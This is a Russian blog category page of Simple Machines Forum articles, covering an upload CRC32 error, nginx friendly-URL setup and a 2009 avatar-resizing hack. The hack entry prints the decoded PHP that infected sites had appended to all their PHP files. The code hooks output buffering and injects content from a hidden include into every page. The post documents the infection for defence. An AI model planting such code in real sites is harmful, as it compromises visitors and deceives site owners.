Статьи из рубрики «smf»
Simple Machines Forum (SMF) — бесплатный интернет-форум, написанный на PHP и использующий базу данных MySQL. В данной рубрике приводятся советы по настройке и оптимизации SMF, а также различные пакеты модификаций.
Ошибка вычисления CRC32 в Simple Machines Forum 1.1.11
Если при загрузке пакета модификации SMF ругается, выдавая сообщение
The package you tried to upload either is not a valid package or has become corrupted.
или ему аналогичное на другом языке:
Пакет, который Вы пытаетесь загрузить, не является пакетом модификации или поврежден.
При этом SMF установлен на сервере с 64-битной архитектурой, то поздравляю, возможно, вы попали по адресу. Далее »
Автор: Wandering Soul, опубликовано в: Simple Machines Forum, комментариев: 1Сен
2010
Конфигурация nginx для работы с Simple Machines Forum
Simple Machines Forum (SMF) — бесплатный интернет-форум, написанный на PHP и использующий базу данных MySQL.
«Дружественные URL» (ЧПУ) поддерживает только для Apache; для nginx, как водится, официальной поддержки нет. Поэтому в данной статье пойдёт речь именно о том, как заставить работать ЧПУ в nginx. Далее »
Автор: Wandering Soul, опубликовано в: nginx, SEO, Simple Machines Forum, комментариев: нетСен
2010
Уязвимость в форуме SMF
В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.
Дополнительная информация здесь.
Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:
BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
$GLOBALS['sh_no']=1;
if(file_exists('.../style.css.php')){
include_once('.../style.css.php');
if(function_exists('gml')&&!function_exists('dgobh')){
if(!function_exists('gzdecode')){
function gzdecode($d){
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if($f&8){
$h=strpos($d,chr(0),$h)+1;
}
if($f&16){
$h=strpos($d,chr(0),$h)+1;
}
if($f&2){
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE){
$u=$d;
}
return $u;
}
}
function dgobh($b){
Header('Content-Encoding: none');
$c=gzdecode($b);
if(preg_match('/\<body/si',$c)){
return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
}
else{
return gml().$c;
}
}
ob_start('dgobh');
}
}
}
?>
“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?
Есть два варианта. Далее »
Автор: Vladimir, опубликовано в: Linux, Simple Machines Forum, Безопасность, комментариев: 2Май
2009
Меня зовут Владимир, я программист-фрилансер, специализирующийся на Web-программировании и програмировании под Linux.
По совместительству занимаюсь администрированием LAMP/LNMP-серверов и техническим переводом.

